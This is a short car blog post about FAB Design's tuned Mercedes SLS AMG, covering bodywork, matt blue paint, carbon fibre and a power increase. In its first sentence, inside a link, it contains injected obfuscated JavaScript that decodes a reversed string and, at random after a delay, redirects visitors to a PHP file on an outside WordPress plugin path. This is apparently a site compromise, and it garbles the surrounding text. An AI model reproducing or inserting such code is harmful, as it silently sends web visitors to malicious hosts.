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Our man on the ground in London recently brought you exclusive pictures of the new $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/fab-design-mclaren-mp4-12c-fabulous/” target=”_blank”>FAB Design McLaren MP4-12C Terso. Naturally wistfulness wasn’t too far around the next corner and, sure enough, it wasn’t long before we’d tracked down the FAB Design Mercedes SLS AMG.
Debuting once again at the Geneva Motor Show (2011 this time), FAB gave Merc’s latest performance brute the business about the bumper, diffuser and side skirt regions, slapping a cheeky matt blue paint finish and some carbon fibre on for good measure. That didn’t mean though the guys ignored the beating 6.2l V8 under the bonnet, upping the standard 583bhp to 615bhp and consequently improving the 0-100kph time from 3.8s to 3.6s. That’s a new top speed of 323kph, just FYI.
